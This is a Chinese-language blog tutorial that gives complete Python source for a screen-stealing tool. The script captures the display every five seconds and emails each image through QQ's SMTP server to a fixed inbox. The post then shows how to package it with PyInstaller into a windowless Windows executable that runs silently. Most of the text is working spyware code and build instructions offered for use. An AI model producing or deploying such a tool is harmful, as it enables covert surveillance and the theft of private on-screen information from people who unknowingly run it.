在前面的一篇文章:Python爬虫-京东商品到货自动邮件通知 介绍了如何通过 Python 脚本监控京东商品是否到货并自动发送到货邮件通知,为了继续学习 Python 编程语言的应用,本文将记录学习下如何通过 Python 脚本截取目标机器上的屏幕并自动发送到指定邮箱中。
目标脚本的目的是实现定期(每5秒)截取一次电脑屏幕、保存在本地并将其自动发送给自定邮箱。
最终实现的脚本比较简单,直接上代码:
- import time
- import smtplib
- from PIL import ImageGrab
- from email.mime.text import MIMEText
- from email.mime.image import MIMEImage
- from email.mime.multipart import MIMEMultipart
-
- """
- 自动发送邮件的函数
- """
- def smtp_s():
- fromaddr = '142*******30@qq.com' # 发送方邮箱
- password = 'bw*************bef' # 开启邮箱 SMTP 服务后获取的授权码
- toaddrs = ['130******81@163.com'] # 邮件接受方邮箱地址,注意需要[]包裹,这意味着你可以写多个邮件地址群发
- content = '正文内容:这是一封来自Python攻防脚本自动发送的电脑屏幕窃取测试邮件!'
- textApart = MIMEText(content)
- imageFile = r"1.png" # r表示原生字符,不进行转义
- imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
- imageApart.add_header('Content-Disposition', 'attachment', filename="屏幕截图.png")
- m = MIMEMultipart()
- m.attach(textApart) # 文本
- m.attach(imageApart) # 发送图片附件
- m['Subject'] = '主题:Python屏幕监控邮件'
- m['From'] = "Tr0e"
- try:
- server = smtplib.SMTP('smtp.qq.com')
- server.login(fromaddr, password)
- server.sendmail(fromaddr, toaddrs, m.as_string())
- print('发送成功!')
- server.quit()
- except smtplib.SMTPException as e:
- print('error:', e) # 打印错误
-
- """
- 截取屏幕并保存图片的函数
- """
- def imG():
- i = 1
- while True:
- im = ImageGrab.grab()
- im.save('1.png')
- print("第%d个屏幕截取成功!" % i)
- time.sleep(5)
- i = i + 1
- smtp_s()
-
-
- if __name__ == '__main__':
- imG()
-
简单解释下上述代码:
在 Pycharm 中编辑并运行上述代码,运行效果如下:
目标邮箱 130*******81@163.com 收到邮件如下:
下面演示将上述 Python 代码打包生成 Windows 系统下的 exe 可执行文件。
1、执行命令pip install pyinstaller下载安装 pyinstaller 库:
2、若需将 xxx.py 文件打包,只需在文件对应的目录下运行终端并执行pyinstaller xxx.py命令即可,常用可选项及说明:
- -F:打包后只生成单个exe格式文件;
- -D:默认选项,创建一个目录,包含exe文件以及大量依赖文件;
- -c:默认选项,使用控制台(就是类似cmd的黑框);
- -w:不使用控制台;
- -p:添加搜索路径,让其找到对应的库;
- -i:改变生成程序的icon图标。
-
3、执行命令pyinstaller -F -w Test.py开始封装上述窃取屏幕的代码,随后会在生成的 dist 文件夹下生成 Test.exe 可执行文件:
4、双击运行 Test.exe 可执行文件,同样能触发屏幕窃取并发送邮件:
此时邮箱将每隔 5 秒收到一封邮件……需要暂定发件的话需要手动在任务管理器里终止 Test.exe 的进程任务。
本文所演示的代码不足 50 行,却实现了从自动定时截取电脑屏幕、到自动发送邮件的功能,这就是 Python 简短强悍的功能!后续将继续结合一些网络攻防的实际用途,学习并总结 Python 一些有意思的用法。